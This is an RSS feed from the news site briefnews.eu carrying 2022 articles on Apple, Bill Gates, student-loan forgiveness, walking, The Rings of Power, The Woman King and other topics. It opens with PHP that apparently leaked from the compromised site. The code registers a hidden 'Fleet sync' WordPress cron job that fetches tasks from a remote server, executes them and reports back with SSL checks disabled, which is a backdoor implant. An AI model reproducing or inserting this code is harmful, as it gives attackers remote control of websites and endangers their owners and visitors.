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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); EVEN – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 14:18:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png EVEN – Brief News https://briefnews.eu 32 32 Apple’s October event has been canceled before it even began https://briefnews.eu/apples-october-event-has-been-canceled-before-it-even-began/ https://briefnews.eu/apples-october-event-has-been-canceled-before-it-even-began/#respond Mon, 26 Sep 2022 14:18:57 +0000 https://briefnews.eu/apples-october-event-has-been-canceled-before-it-even-began/ For months, we’ve been expecting Apple to host an event this October where it would reveal brand-new Macs and iPads. However, that’s all been thrown into uncertainty now thanks to a new report from a reliable tech reporter.

The news comes from Mark Gurman, who stated in his weekly Power On newsletter that Apple might simply release the new products using press releases instead of a showy event like its iPhone 14 launch extravaganza.

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According to Gurman, the remaining updates to Apple products coming this year are not significant enough to warrant a full-blown show with various speakers and perhaps hands-on time afterward. That kind of event requires plenty of planning and post-shoot editing, which Apple might feel is wasted if the updates are not true headline events.

For instance, Gurman notes that the main contenders to launch later in 2022 are updated 14-inch and 16-inch MacBook Pro models, a new Mac Mini with M2 and M2 Pro chips, and an updated iPad Pro with the M2 chip. None of these, he says, represent a “major departure” for Apple. “They’ll get some improved specifications and a chip that was already announced at a formal event in June at WWDC 2022,” Gurman explains. The idea is that Apple could simply announce these products in press releases on its website.

That might be a letdown for Apple fans, but it would not be without precedent. Apple launched the AirPods Max, 24-inch iMac, and 2019’s 16-inch MacBook Pro all via press releases, which might sound surprising given their high profiles. But it shows the company is not afraid of shunning the stage when it needs to.

And while the upcoming Mac Pro refresh could be a big one — it’s going to finally migrate from Intel processors to Apple silicon chips, after all — that probably won’t arrive until 2023, Gurman believes.

So, if you were getting the popcorn ready for another Apple show later this year, you might end up being disappointed. That said, Gurman could be wrong, and the event might go ahead after all. It just doesn’t seem that likely considering what’s left to launch this year.

]]> https://briefnews.eu/apples-october-event-has-been-canceled-before-it-even-began/feed/ 0 Bill Gates says political polarization ‘may bring it all to an end’ and could even lead to a civil war https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/ https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/#respond Sat, 24 Sep 2022 21:10:06 +0000 https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/ bill gates

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  • Bill Gates is sounding the alarm on political polarization in the US.
  • "Political polarization may bring it all to an end, we're going to have a hung election and a civil war," he told Forbes recently.
  • Gates, who has been the target of many conspiracy theories over the years, also pointed out the dangers of misinformation.

Bill Gates usually focuses on issues like poverty and infectious diseases through his charitable foundation, but another problem on his mind is the polarization of US politics.

"I admit that political polarization may bring it all to an end, we're going to have a hung election and a civil war," he recently said in the keynote conversation at this year's Forbes 400 Summit on Philanthropy. "I have no expertise in that. I'm not going to divert my money to that because I wouldn't know how to spend it."

Political polarization, he says, goes hand-in-hand with another issue: the spread of misinformation.

"The polarization and lack of trust is a problem," he continued to Forbes. "One of the best-selling books last year was a book by Robert Kennedy, saying that I like to make money and kill millions of people with vaccines. It's wild that sells well."

Over the years, Gates and ex-wife Melinda French Gates have donated billions to vaccine research, development, and delivery through their foundation. Gates has been the subject of conspiracy theories that claim he puts microchips in vaccines to track people. Earlier this month, Gates said people have yelled such accusations at him on the street.

"People seek simple solutions [and] the truth is kind of boring sometimes. Anybody who's got good innovations on reducing polarization, getting the truth to be as interesting as the crazy stuff, that would be well worth investing in," Gates told Forbes.

Gates' summer reading list for this year, which he announced in June, includes "Why We're Polarized" by Ezra Klein.

"I'm generally optimistic about the future, but one thing that dampens my outlook a bit is the increasing polarization in America, especially when it comes to politics," Gates wrote at the time in a blog post about his book picks.

Also during the Forbes keynote conversation, Gates said he and his ex-wife, Melinda French Gates, hope to keep their charitable foundation running for 25 more years to focus on tackling infectious diseases.

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]]> https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/feed/ 0 22 GOP state governors are trying to block Biden’s student-loan forgiveness even though millions of their residents could benefit https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/#respond Tue, 20 Sep 2022 19:21:52 +0000 https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/ College graduates
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  • 22 GOP state governors urged Biden to withdraw his student-loan forgiveness plan.
  • The White House just released state-by-state data on how many borrowers could be eligible for relief.
  • Millions of borrowers would likely qualify for the debt cancellation in the 22 GOP-led states.

Newly released data revealed the benefits of President Joe Biden's student-loan forgiveness plan could be far-reaching in the Republican-led states trying to block the policy.

Just over a month after Biden announced up to $ 20,000 in student-debt relief for federal borrowers making under $ 125,000 a year, the White House on Tuesday released state-by-state estimates on how many borrowers could be eligible for the relief. In 11 states, over 1 million borrowers are projected to be eligible for the loan forgiveness, per the data, with California leading the list at 3.5 million borrowers.

"I've always maintained that data drives everything, and that's why this announcement today, and this data release, is just so essential," Massachusetts Rep. Ayanna Pressley said during a Tuesday press call. "I'll be honest, I was emotional walking through these numbers with my team, recognizing that behind every number, there is a person, there's a family, there's a story here."

But some Republican politicians might not see it quite that way. On September 12, 22 GOP governors sent a letter to Biden urging him to "withdraw your student loan plan immediately," arguing that the policy is costly, illegal, and unfair to those who already paid off their loans. 

"For many borrowers, they worked hard, made sacrifices, and paid off their debt. For many others, they chose hard work and a paycheck rather than more school and a loan. Americans who did not choose to take out student loans themselves should certainly not be forced to pay for the student loans of others," they wrote. 

Here's how many student-loan borrowers would benefit from Biden's debt relief in each of those 22 states:

  • Alabama: 588,000
  • Alaska: 60,500
  • Arizona: 810,800
  • Arkansas: 365,600
  • Florida:  2,427,600
  • Georgia: 1,506,100
  • Idaho: 201,400
  • Iowa: 408,700
  • Maryland: 747,100
  • Missouri: 777,300
  • Montana: 120,400
  • Nebraska: 232,100
  • New Hampshire: 175,100
  • North Dakota: 82,000
  • Ohio: 1,677,800
  • Oklahoma: 454,300
  • South Carolina: 681,100
  • South Dakota: 109,100
  • Tennessee: 795,300
  • Texas: 3,323,200
  • Utah: 282,700
  • Wyoming: 49,600

An Education Department official told reporters on Tuesday that the administration arrived at those estimates by using "commonly employed statistical techniques" to estimate borrowers' income, along with census data that has detailed information on income for specific groups of people. 

Since Biden announced his relief, Republicans have been pushing back on the policy — some have even expressed intent to block the loan forgiveness in court. But the Biden administration maintains it has the legal standing to carry out this one-time blanket relief and is moving forward with implementation, planning to make an application for relief available in early October. 

"The analysis we are releasing today tells us that President Biden's debt relief plan will touch working families in every corner of the state of the country, in red states and blue states and everywhere in between, states and big cities, sprawling suburbs, tribal lands and remote rural towns," Under Secretary of Education James Kvaal told reporters. "Nearly 20 million borrowers will have their entire balances discharged, others will benefit from lower balances and lower payments."

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]]> https://briefnews.eu/22-gop-state-governors-are-trying-to-block-bidens-student-loan-forgiveness-even-though-millions-of-their-residents-could-benefit/feed/ 0 Walking 10K steps a day is a health sweet spot, study finds — and walking faster is even better https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/#respond Sun, 18 Sep 2022 20:16:06 +0000 https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ Britannia Park

In recent years, walking 10,000 steps a day has become a popular fitness goal, but until now, there hasn’t been much scientific research to back that number. A new study looking at people wearing fitness trackers has finally determined that it is indeed a sweet spot for a range of health outcomes, but how fast you walk is also important.

]]> https://briefnews.eu/walking-10k-steps-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/feed/ 0 Amazon Makes the Cheapest Kindle Even Better https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/ https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/#respond Sat, 17 Sep 2022 17:59:57 +0000 https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/ Plus: Alexa will soon give branded answers, ByteDance has its own VR headset in the works, and TikTok pushes a new BeReal knockoff.


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]]> https://briefnews.eu/amazon-makes-the-cheapest-kindle-even-better/feed/ 0 Walking 10K a day is a health sweet spot, study finds — and walking faster is even better https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/#respond Fri, 16 Sep 2022 21:36:22 +0000 https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/ Britannia Park

In recent years, walking 10,000 steps a day has become a popular fitness goal, but until now, there hasn’t been much scientific research to back that number. A new study looking at people wearing fitness trackers has finally determined that it is indeed a sweet spot for a range of health outcomes, but how fast you walk is also important.

]]> https://briefnews.eu/walking-10k-a-day-is-a-health-sweet-spot-study-finds-and-walking-faster-is-even-better/feed/ 0 A Little Detail In The Rings Of Power Makes Middle-Earth Feel Even More Real [Exclusive] https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/ https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/#respond Mon, 12 Sep 2022 20:03:31 +0000 https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/

Spoilers follow for “The Lord of the Rings: The Rings of Power.”

Through its epic scope and scale, “The Lord of the Rings: The Rings of Power” achieves never-before-seen cinematic heights on the small screen. A distant relative to Peter Jackson’s original trilogy, the streaming series is not afraid of diving head-first into the source material and exploring a rich fantasy world that spans millenniums. Furthermore, the show is able to take advantage of the mega-sized production budget through its groundbreaking visual effects, costumes, and set designs. Every fantastical element feels grounded in reality thanks to the commitment to detail by the artists behind the scenes. One aspect of the show, in particular, speaks to the care put into the vast history “The Rings of Power” covers in its eight-episode season.

The kingdom of Númenor is already a vital location in “The Rings of Power” for several reasons, but one small detail about their culture puts the dense nature of the series in an entirely new perspective. In the third episode, when Galadriel (Morfydd Clark) and Elendil (Lloyd Owen) arrive at the Hall of Lore located on the Númenor island, scrolls — not bound books — are seen throughout the sequence. The scene does not exactly concern itself with that fact, but the background detail plays an important role in laying out the timeline. According to the production designer, this choice was not only intentional but started as an early idea during the development process.

The Númenorians Were Ahead Of Their Time

For the uninitiated, the Hall of Lore was created by the elves and later kept intact by the previous king — Queen Miriel’s (Cynthia Addai-Robinson) father — Tar-Palantir. He admired the elves and their contributions to Númenor, ensuring the scrolls they left behind were safe from those who despised the race. However, if you look closely at the Hall of Lore, you can see bound books lying around, separate from the bevy of scrolls organized in the room. It implies that bookbinding was not a gift by the elves, and instead a creation by the humans who inhabit Númenor.

/Film’s Vanessa Armstrong interviewed production designer Ramsey Avery, who revealed just how intentional and detailed his work was from the start:

“One of the decisions that I sold the showrunners on early is that elves didn’t have bound books — they didn’t invent book binding. We know that Elrond has books in the Third Age, but that doesn’t mean that they had books in the Second Age. So, I wanted to tell the story that Númenorians invented book binding, and that this storage of older information, everything would have to be scrolls. I looked at a bunch of Tibetan storage, because of the scrolls, and I thought, ‘Wow, that’s really cool because now we can have this whole space that’s filled with scrolls.’“

The creative detail exemplifies how the kingdom of Númenor continued to advance despite its isolation from Middle-earth. Moreover, “The Rings of Power” confirms that despite the vast intelligence the elves have to offer, they still have not evolved very much in that regard.

The Elves Are Still Behind

In the second episode, Elrond (Robert Aramayo) visits Celebrimbor (Charles Edwards) in his workplace to discuss plans to create a very powerful forge. The place is covered in loose scrolls, with not a single bound book in sight. The elves have books by the Third Age, as seen in the original trilogy, but they are still rolling up wrinkly pieces of paper in “The Rings of Power” (get dunked on by humans, elves).

The attention to continuity is impressive even by “The Lord of the Rings” standards, but the real showstopper is the intention to tell a story even in the minute details. Narrative drives every creative decision in the streaming series, and showing the difference between elves and humans in such a simple manner may be one of their brightest. As long as “The Lord of the Rings: The Rings of Power” continues to impress, I’d argue the series will stand the test of time as a passionate exploration of J.R.R. Tolkien’s work worthy of the title.

Read this next: The Best Easter Eggs In The Lord Of The Rings: The Rings Of Power Episodes 1 And 2

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]]> https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/feed/ 0 The Woman King Review: A Rousing Historical Epic With Great Action And Even Better Characters [TIFF] https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/ https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/#respond Sat, 10 Sep 2022 08:40:17 +0000 https://briefnews.eu/the-woman-king-review-a-rousing-historical-epic-with-great-action-and-even-better-characters-tiff/

There’s something very old school about “The Woman King.” It’s a sweeping, rousing, crowd-pleasing historical action-adventure epic the likes of which Hollywood doesn’t make that much anymore, at least not well. It’s familiar in a welcoming way. And yet, at the same time, this is also something groundbreaking. Because unlike the Hollywood epics of old, “The Woman King” features a cast made up almost entirely of Black women, and there’s a Black woman, Gina Prince-Bythewood, behind the camera, too. Maybe one day we’ll get to a point where such a movie doesn’t feel groundbreaking, but here we are.

Even if it wasn’t groundbreaking, “The Woman King” would still be an absolute blast. It’s a film that isn’t afraid to get you cheering, although much of the subject matter is often overwhelmingly harsh. The key to all of this is that Prince-Bythewood and screenwriter Dana Stevens have assembled a wonderful cast of memorable, easy-to-root-for characters. Viola Davis leads them all, and as is a common fact by now, Davis is stellar. But she’s backed up by a spirited, funny, butt-kicking group of warriors. Davis plays Nanisca, a General in the West African Kingdom of Dahomey. It’s 1832, and Nanisca leads the Agojie, the all-female group of warriors loyal to new-ish King Ghezo (John Boyega). We’re introduced to Nanisca and her warriors in a pulse-pounding opening sequence that showcases Prince-Bythewood’s skill at crafting engaging, thrilling action. 

But then “The Woman King” settles down. The trailers would have you believe this is a straight-up action movie, and indeed, there is much incredible action to be had; the type of action that puts the endless stream of Marvel and other franchise action movies to shame. But “The Woman King” is also a character study, and Davis’ Nanisca, while always a commanding presence, isn’t really the main character. 

Lashana Lynch Steals The Show

Within the walls of the palace at Dahomey, the women of the Agojie live fierce and free. The other people of the kingdom think of them as almost mythical; beings that are unearthly and not to be looked at. But as Nanisca says, there’s an evil growing outside the palace walls. The slave trade — something even King Ghezo takes part in — is a blight in Nanisca’s eyes, even though it has helped make Dahomey very wealthy. Then there are the gun-toting fighters of the Oyo Empire, led by a cruel, slave-trading general, played with real menace by Jimmy Odukoya. Nanisca warns of both the threat of the Oyo Empire and the evils of the slave trade, but her King is hesitant to change old, familiar ways.

In the midst of all this enters Nawi (Thuso Mbedu), a 19-year-old handed over to the Agojie after she refuses to marry a man who freely hits her. Nawi is stubborn and brave, and she becomes our real lead character, guiding us through the world of the Agojie. To become one of them, Nawi — along with several other recruits — must endure a rigorous boot camp-style training program, and this takes up the majority of “The Woman King.” We watch as Nawi grows into a real warrior, while still ensuring Nanisca’s displeasure with her strong-headed ways. 

Nawi is taken under the wing of Agojie soldier Izogie who guides her through every step and dolls out droll advice. Izogie is played by Lashana Lynch, and in a cast full of heavy-hitters, Lynch is the real stand-out, turning Izogie into a funny, warm, but still deadly presence who loves to swill whiskey and sharpen her nails into claws. Every second she’s on screen is a treat, and I wanted more of her. The comradery that forms between Nawi and Izogie is wonderful, and Mbdeu gives a breakout performance in the process, making us care deeply for Nawi and her story. 

Action And Drama

“The Woman King” is inspired by a true story, and while I’m sure there will be some who loudly proclaim that the movie isn’t 100% historically accurate, I’m not concerned with that. No film is even 100% accurate, not even historical epics. Hell, “Braveheart” is loaded with pure fiction, and that won a slew of Oscars. Whether or not everything that happens in “The Woman King” happened in real life is inconsequential. What matters is it feels real to the world the film builds. We believe in the validity of these characters. Davis, one of the best actors of this or any generation, is in top form, making Nanisca into a complex, tenable figure. And everyone backing her up feels the same. 

The human drama is what drives “The Woman King,” but to be fair, the script never goes quite as deep as it could. No matter — “The Woman King” is so consistently powerful and emotionally exhilarating that we’re swept away by it all, rooting for the brave heroes and cursing the nasty villains. And gosh does that action sing. A few quirky cuts get in the way here and there (I’m guessing these are the result of some violence trimming to earn a PG-13 rating), but for the majority of the picture we can easily see the actors doing their own stunts, fighting and kicking and swinging and smashing and stabbing and at times running sideways up something in order to deliver a flying punch. 

There are more than a few moments in “The Woman King” that will have you fist-pumping and grinning like a goofball, amazed at energy of it all. And all that action is often aided by raw, real emotion which is handled deftly. Davis in particular seems to carry the weight of the world on her shoulders just with a single glance. We can feel that weight right along with her — and we can’t wait to watch her shrug it off so she can kick some ass. 

/Film Rating: 8 out of 10

Read this next: The Best Movies Of 2022 So Far

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  • Alexandria Ocasio-Cortez shared doubts about a woman of color being elected president one day.
  • "I admit to sometimes believing that I live in a country that would never let that happen," she told GQ.
  • She said her time in Congress has reinforced to her that "so many people in this country hate women."

Rep. Alexandria Ocasio-Cortez in a new interview spoke candidly about her political future, expressing doubts that she or another woman of color could become president because of the "misogyny" and "patriarchy" she says she's endured first-hand as a congresswoman.

"I admit to sometimes believing that I live in a country that would never let that happen," she told GQ in an interview published Wednesday.

The congresswoman said her experience in Congress "has given me a front-row seat to how deeply and unconsciously, as well as consciously, so many people in this country hate women."

"They hate women of color," the New York lawmaker continued. "People ask me questions about the future. And realistically, I can't even tell you if I'm going to be alive in September. And that weighs very heavily on me."

Since Ocasio-Cortez shocked the country by winning her primary in 2018 and seized the national spotlight, she's experienced hostility from her fellow colleagues on both sides of the aisle. In July 2020, then-Republican Rep. Ted Yoho of Florida reportedly called her a "fucking bitch." Last November, Republican Rep. Paul Gosar of Arizona tweeted out an edited anime video showing him killing Ocasio-Cortez. And in July, a conservative comedian sexually harassed Ocasio-Cortez using racist language outside the Capitol building. 

Ocasio-Cortez has also become a target of right-wing media and conservative circles, and has faced a barrage of death threats. She's said she feared being raped and killed as rioters stormed the the Capitol on January 6, 2021.

"It's not just the right wing. Misogyny transcends political ideology: left, right, center. This grip of patriarchy affects all of us, not just women; men," she told GQ.

Ocasio-Cortez has repeatedly dismissed questions about a future presidential run. She told GQ that she battles an "inner conflict" between the presidency being unattainable for someone like her and her belief that "anything is possible." 

"Sometimes little girls will say, 'Oh, I want you to be president,' or things like that," she told GQ. "It's very difficult for me to talk about because it provokes a lot of inner conflict in that I never want to tell a little girl what she can't do. And I don't want to tell young people what is not possible. I've never been in the business of doing that."

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(Welcome to The Daily Stream, an ongoing series in which the /Film team shares what they’ve been watching, why it’s worth checking out, and where you can stream it.)

The Movie: “President Wolfman”

Where You Can Stream It: TubiTV

The Pitch: Being the President of the United States is a tough job, but for John Wolfman, his political problems are much worse than anything Watergate or even the January 6th insurrection could have brought to the table. President Wolfman is in an uphill battle to prevent his opponents from selling the United States to China through a controversial “Chimerica” international merger bill, save his son Bobby from being killed by his murderous Vice President, judge a Miss Teen Beauty Pageant, solve a mysterious series of brutal murders throughout the capitol, avoid both a crazed scientist and a vindictive Smokey the Bear, and try to hide the fact he transforms into a werewolf during every full moon. 

If “President Wolfman” sounds absolutely bananas, it’s by design, but unlike other ridiculous horror comedies, “President Wolfman” was made without ever shooting a single frame of footage. Crafted entirely from recycled stock and public domain footage, the creatives behind “President Wolfman” wrote a new script, score, and digitally enhanced all of the footage to create a movie all their own. Talk about eco-friendly filmmaking.

Why It’s Essential Viewing

I first caught “President Wolfman” at the bi-annual Cinema Wasteland Horror, Drive-In and Grindhouse Movie Convention, knowing absolutely nothing about the film other than the premise of seeing a movie made entirely out of recycled footage. Most of “President Wolfman” is made from clips of the truly abysmal Dean Stockwell film “The Werewolf of Washington,” (also available on Tubi) a 1973 horror “comedy” meant to satirize the Nixon presidency.

The film uses clips from “Werewolf of Washington” alongside vintage international Coca-Cola commercials, short films you’d probably see in a 1983 health class, old PSAs with cheap production value — all Frankensteined together to create the final product. Filmmaker Mike Davis claims that “President Wolfman” comprises 112 different pieces of public domain and stock footage, with the redubbed script miraculously bringing it all together.

“President Wolfman” was made with tongue planted firmly in cheek, with envelope-pushing (and often offensively racist) comedy bits that somehow manage to become a genuinely clever satire of American culture, politics, and B-movie filmmaking. “President Wolfman” isn’t trying to offend for the sake of being shocking, but to point out how ridiculously problematic the B-movie genre often was. It’s as if someone had an AI binge-watch the entirety of “Mystery Science Theater 3000” and try to generate a movie of their own using the available footage, and it somehow works beautifully.

What Makes A Film, Anyway?

“President Wolfman” is by no means the first “green film,” with even prolific filmmaker (and disgusting excuse for a human being) Woody Allen redubbing the Japanese film “Kokusai himitsu keisatsu: Kagi no kagi” to make his debut feature, “What’s Up, Tiger Lily?” While “President Wolfman” could be easily written off as an experimental gimmick, it instead turns into a remarkable exercise in the limitless possibilities of indie horror. It’s clear that Davis put genuine thought and talent into crafting this hidden gem by hiring a genuinely talented cast of voice-over artists to provide the dub, including Marc Evan Jackson (“The Good Place,” “Brooklyn Nine-Nine”) who stars as John Wolfman.

A film like “President Wolfman” is worth seeing if only for the sheer audacity of its existence. The footage does not edit together seamlessly, the visuals vary wildly in quality, and in no way does the dub even remotely look close to matching the actors’ mouths, but in a weird way, it only adds to the film’s charm. People often ask for a good horror comedy to watch with a group of friends so everyone can laugh, cheer, and throw popcorn, and this is precisely that brand of movie. 

“President Wolfman” asks the audience to question what exactly defines a “film,” and begs us to find something to love in even the most poorly received and forgotten films of yesteryear. There’s value in absolutely everything that has ever been committed to screen, as long as you know how to use it. “President Wolfman” breathed new life into a mess of footage most people have pushed to the margins, and turned it into something wholly unique. If that doesn’t speak to the ingenuity of indie horror, I don’t know what else will.

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